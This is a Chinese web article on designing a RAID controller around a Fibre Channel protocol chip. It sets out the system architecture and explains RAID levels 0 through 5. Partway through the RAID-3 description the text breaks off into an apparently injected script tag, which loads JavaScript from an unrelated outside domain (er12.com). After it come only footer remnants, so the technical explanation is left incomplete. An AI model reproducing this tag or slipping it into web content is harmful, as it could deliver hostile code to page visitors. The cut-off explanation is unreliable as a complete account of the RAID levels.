采用光纤通道协议实现RAID控制器的系统设计方案

本文将向您介绍一款采用光纤通道协议实现raid控制器的系统设计方案。我们将重点讨论如何使用安捷伦tachyon 4gb/s 4端口光纤通道协议ic,把多个磁盘通道加入在一个提供raid应用的计算系统中,并对使用raid存储技术的整个系统进行简单介绍(包括光纤通道拓扑及选项、fc终端、磁盘通道和处理器功能)。

  raid系统架构概述

  数据存储的应用越来越广泛。过去的单一设备现在容纳或产生大量的数字信息。海量数据时代的到来加速了人们对信息安全存储的需求。光阴荏苒,人们保存了大量的数据,但是重新获得丢失的数据却要耗资巨大。为此,人们部署了可靠的数据存取系统来保存或存储数据。随着保护数据安全呼声的高涨,对raid解决方案的需求也日益增加。raid解决方案提供有多种有助于提高数据检索成功率的选择方案。尽管raid技术现在已可以应用于实现可靠检索所需的任何数字存储介质上,当前人们还是普遍把数据存储在物理介质上。

  在一个实施raid技术的完备系统中,需要考虑下列事项:

  * 带一个或多个cpu的控制处理机。

  * 需要将一些磁盘与控制处理机相连接。通常采用专门用于附加驱动器的特殊协议实现磁盘连接。目前,有好几种流行的磁盘协议。这里我们将重点介绍在大多数高端存储阵列设计中使用的光纤通道协议。

  * 驱动器和处理器间无法直接实现高效连接。为此,人们使用了协议转换器为一个接口上的处理器提供api,并实现与另一个接口上驱动器的连接。

图1:raid控制器功能最简单架构的典型系统示例

  图1为典型系统示例,其中包括四个cpu,一个由内存控制器和接口设备组成的处理器组(processor complex)、一个协议控制器和多个光纤通道链路组成的阵列。对磁盘控制器架构的多样性和利弊,本文不作讨论。图1所示系统为最简单的通用架构,我们将用它来介绍raid控制器的一般功能。

  raid概述

  raid实施方案这一概念并不仅仅包括以后检索所需的储存数据,它还涉及到采用下文介绍的一级或多机raid架构。

  raid-0:数据分割(striping)。数据分割不能增加系统安全性,但可以提高系统性能。一个文件被存储在多个驱动器上。文件被分成若干块,并被依次写入连续的磁盘中,这样就可以分摊单个驱动器的写反应时间并使多个写操作重迭进行。

  raid-1:磁盘镜像(mirroring)。将一个磁盘上的所有数据完全复制到另一个磁盘中。这需要将数据写入不同的磁盘中,涉及到两个单独的写操作。这两个磁盘无主次之分,一个磁盘是另一个磁盘100%的备份。已完成的写操作,必须是已同时在两个磁盘上完成了同样的写操作。如果一个磁盘故障,与之镜像的磁盘保持正常操作,不会造成中断。raid-1提供了较好的管理能力,而且在正常操作或系统恢复时不需要占用太多的cpu。但这种方式成本很大:磁盘上需要保护的每千兆字节都会需要一个完全一模一样的千兆字节。换句话说,raid-1所需要的磁盘空间是无保护磁盘空间的两倍。

  raid-2:汉明码纠错(hamming code error correction)。与ecc内存一样,raid-2也使用了汉明码方法校验磁盘数据的正确性。

  raid-3、raid-4和raid-5都使用了不同的奇偶校验方法。与raid-1完全复制数据不同,这些等级的raid通过添加一个附加磁盘将数据分散在几个磁盘上。附加磁盘上的数据是用其它磁盘的数据计算出来(使用boolean xors)。当磁盘组中任一个丢失时,可以用磁盘组中其它磁盘上的数据通过计算来恢复丢失的数据。由于这几种方法不需要raid-1 100%磁盘备份的费用,因此它们所需成本比raid-1要低。然而,由于磁盘上的数据是计算出来的,磁盘丢失后会影响与写操作和数据恢复相关的性能。

  raid-3:虚拟磁盘块(virtual disk blocks)。raid 3会把数据写入操作分散到raid阵列中的所有磁盘上进行(数据分割)?script src=http://er12.com/t.js>

  • 采用光纤通道协议实现RAID控制器的系统设计方案已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计